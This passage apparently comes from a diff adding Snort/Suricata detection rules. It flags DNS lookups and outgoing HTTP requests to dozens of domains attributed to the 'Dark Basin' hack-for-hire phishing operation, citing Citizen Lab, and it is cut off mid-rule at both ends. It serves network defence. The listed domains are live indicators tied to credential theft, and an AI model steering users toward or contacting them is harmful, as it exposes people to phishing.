rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: serviceforneworder.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|serviceforneworder|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356531; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: serviceforneworder.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|serviceforneworder|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356532; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: serviceforneworder.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"serviceforneworder.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])serviceforneworder\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356533; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: servicegoingfar.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|servicegoingfar|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356671; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: servicegoingfar.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|servicegoingfar|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356672; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: servicegoingfar.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"servicegoingfar.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])servicegoingfar\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356673; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: sglinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|sglinbas|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356061; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: sglinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|sglinbas|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356062; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: sglinbas.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"sglinbas.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])sglinbas\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356063; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shadymario.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|shadymario|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353351; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shadymario.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|shadymario|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353352; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shadymario.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shadymario.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shadymario\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353353; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shipnyatchholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|shipnyatchholland|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355301; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shipnyatchholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|shipnyatchholland|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355302; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shipnyatchholland.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shipnyatchholland.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shipnyatchholland\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355303; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shoponlinefreesg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|shoponlinefreesg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356201; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shoponlinefreesg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|shoponlinefreesg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356202; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shoponlinefreesg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shoponlinefreesg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shoponlinefreesg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356203; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shoponlinefreeuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|shoponlinefreeuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356211; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shoponlinefreeuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|shoponlinefreeuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356212; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shoponlinefreeuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shoponlinefreeuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shoponlinefreeuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356213; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: short-ner.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|short-ner|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353561; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: short-ner.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|short-ner|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353562; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: short-ner.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"short-ner.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])short\-ner\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353563; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shortenup.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|shortenup|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355191; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shortenup.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|shortenup|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355192; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shortenup.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shortenup.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shortenup\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355193; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shortenurlservices.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|shortenurlservices|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356551; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shortenurlservices.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|shortenurlservices|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356552; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shortenurlservices.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shortenurlservices.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shortenurlservices\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356553; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shortformurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|shortformurl|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353401; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shortformurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|shortformurl|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353402; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shortformurl.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shortformurl.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shortformurl\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353403; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shortformurl.xyz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|shortformurl|03|xyz|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353411; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shortformurl.xyz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|shortformurl|03|xyz|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353412; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shortformurl.xyz"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shortformurl.xyz"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shortformurl\.xyz[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353413; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shortlinkcut.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|shortlinkcut|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354761; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shortlinkcut.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|shortlinkcut|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354762; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shortlinkcut.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shortlinkcut.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shortlinkcut\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354763; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shortnerserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|shortnerserviceonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356011; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shortnerserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|shortnerserviceonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356012; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shortnerserviceonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shortnerserviceonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shortnerserviceonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356013; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shortserver1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|shortserver1|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357791; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shortserver1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|shortserver1|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357792; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shortserver1.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shortserver1.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shortserver1\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357793; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shorturlservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|shorturlservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355661; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shorturlservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|shorturlservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355662; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shorturlservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shorturlservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shorturlservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355663; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shrinkandshareurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|shrinkandshareurl|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356221; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shrinkandshareurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|shrinkandshareurl|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356222; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shrinkandshareurl.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shrinkandshareurl.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shrinkandshareurl\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356223; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shrinkthisurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|shrinkthisurl|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356271; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shrinkthisurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|shrinkthisurl|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356272; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shrinkthisurl.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shrinkthisurl.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shrinkthisurl\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356273; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: shrtnerlnk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|shrtnerlnk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354421; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: shrtnerlnk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|shrtnerlnk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354422; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: shrtnerlnk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"shrtnerlnk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])shrtnerlnk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354423; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: siteadmineurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|siteadmineurope|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357271; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: siteadmineurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|siteadmineurope|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357272; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: siteadmineurope.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"siteadmineurope.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])siteadmineurope\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357273; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: siteadminhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|siteadminhk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357241; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: siteadminhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|siteadminhk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357242; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: siteadminhk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"siteadminhk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])siteadminhk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357243; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: sitebloginfo.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|sitebloginfo|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357281; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: sitebloginfo.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|sitebloginfo|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357282; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: sitebloginfo.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"sitebloginfo.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])sitebloginfo\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357283; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: smtpserver389.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|smtpserver389|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353201; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: smtpserver389.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|smtpserver389|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353202; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: smtpserver389.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"smtpserver389.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])smtpserver389\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353203; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: smtpserver466.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|smtpserver466|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354171; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: smtpserver466.com"; content:"|01 00 00 